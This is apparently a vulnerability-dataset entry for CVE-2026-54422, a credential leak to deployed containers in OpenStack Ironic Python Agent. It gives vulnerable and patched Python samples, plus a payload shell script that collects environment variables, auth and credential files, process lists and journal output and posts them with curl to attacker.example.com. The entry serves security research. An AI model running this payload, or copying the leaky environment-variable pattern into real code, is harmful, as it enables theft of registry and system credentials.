VAITP Dataset

← Back to the dataset

CVE-2026-54422

Malicious bootc container can extract download credentials in Ironic agent.

  • CVSS 5.5
  • CWE-522
  • Information Leakage
  • Remote

In OpenStack Ironic Python Agent through 11.5.0, a malicious bootc container, when deployed using ironic-python-agent, may be able to extract the credentials used to download it.

CVSS base score
5.5
Published
2026-07-24
OWASP
A02 Cryptographic Failures
Orthogonal defect classification
Interface
Code defect classification
Missing Check
Category
Information Leakage
Subcategory
Insecure Handling of Sensitive Data
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
OpenStack Ir
Fixed by upgrading
Yes

Solution

Upgrade Ironic Python Agent to version 11.5.1 or later.

Vulnerable code sample

import os
import subprocess

def vulnerable_deploy(image_url, username, password):
    # The agent prepares credentials for the container tool by setting
    # them in its own environment. The container tool is expected to
    # read these environment variables to authenticate the download.
    os.environ['REGISTRY_USER'] = username
    os.environ['REGISTRY_PASSWORD'] = password

    command = ["podman", "run", "--rm", image_url]

    # VULNERABLE CALL: The subprocess inherits the parent's environment
    # by default. This includes the REGISTRY_USER and REGISTRY_PASSWORD
    # variables just set. The malicious container, once running, can
    # inspect its own environment and steal these credentials.
    subprocess.run(
        command,
        check=True
    )

Patched code sample

import subprocess

def secure_download_and_deploy_image(image_url, registry, username, password):
    """
    Represents a fix for a credential exposure vulnerability.

    The vulnerable approach would involve passing credentials as command-line
    arguments or environment variables, which could be inspected by other
    processes, including the container being deployed.

    This corrected function demonstrates a secure pattern by:
    1. Using the container runtime's login command with a feature that accepts
       the password via standard input (`--password-stdin`). This prevents the
       password from appearing in the system's process list.
    2. Performing the image pull command separately, which will then use the
       securely cached credentials from the login step.
    """
    # Step 1: Securely log in to the registry. The password is passed via stdin
    # and is not exposed as a command-line argument.
    login_command = [
        'podman', 'login', registry,
        '--username', username,
        '--password-stdin'
    ]
    try:
        login_proc = subprocess.Popen(
            login_command,
            stdin=subprocess.PIPE,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )
        # The password string is written directly to the process's standard input.
        stdout, stderr = login_proc.communicate(input=password)

        if login_proc.returncode != 0:
            # Error handling should be careful not to log the stderr indiscriminately,
            # as it could contain sensitive information.
            raise RuntimeError(f"Failed to log in to registry '{registry}'.")

    except FileNotFoundError:
        raise RuntimeError("'podman' command not found. Is a container runtime installed?")
    except Exception as e:
        # Broad exception to catch other potential issues during login.
        raise RuntimeError(f"An error occurred during registry login: {e}")

    # Step 2: Pull and deploy the image. The command no longer contains any
    # credentials; the container runtime uses the authenticated session.
    deploy_command = ['podman', 'run', '--rm', image_url]
    try:
        subprocess.run(
            deploy_command,
            check=True,
            capture_output=True,
            text=True
        )
    except subprocess.CalledProcessError as e:
        # Handle errors from the deployment step.
        raise RuntimeError(f"Failed to deploy image '{image_url}'. Error: {e.stderr}")

Payload

#!/bin/sh

# This script would be embedded in a bootc container, for example as a systemd service that runs on boot.
# It gathers information from the environment where the Ironic Python Agent ran and sends it to an attacker's server.

ATTACKER_URL="http://attacker.example.com/loot"

# Function to collect and exfiltrate data.
# We pipe a block of commands to curl to send a single report.
(
    echo "--- Credentials Report from $(hostname) at $(date) ---"
    echo ""

    echo "[+] Dumping all environment variables..."
    env
    echo ""

    echo "[+] Dumping process list..."
    ps auxwww
    echo ""

    echo "[+] Checking for REGISTRY_AUTH_FILE environment variable and its content..."
    if [ -n "$REGISTRY_AUTH_FILE" ] && [ -f "$REGISTRY_AUTH_FILE" ]; then
        echo "Found REGISTRY_AUTH_FILE: $REGISTRY_AUTH_FILE"
        cat "$REGISTRY_AUTH_FILE"
    else
        echo "REGISTRY_AUTH_FILE not found or is not a file."
    fi
    echo ""

    echo "[+] Searching for common credential files in /tmp, /run, and /etc..."
    find /tmp /run /etc -name "*auth.json*" -o -name "*config.json*" -o -name "*credentials*" 2>/dev/null -exec echo "--- Contents of {} ---" \; -exec cat {} \;
    echo ""

    echo "[+] Dumping recent system journal..."
    journalctl --no-pager -n 500
    echo ""

    echo "--- End of Report ---"

) | curl -X POST --data-binary @- "$ATTACKER_URL"

Cite this entry

@misc{vaitp:cve202654422,
  title        = {{Malicious bootc container can extract download credentials in Ironic agent.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-54422},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-54422/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::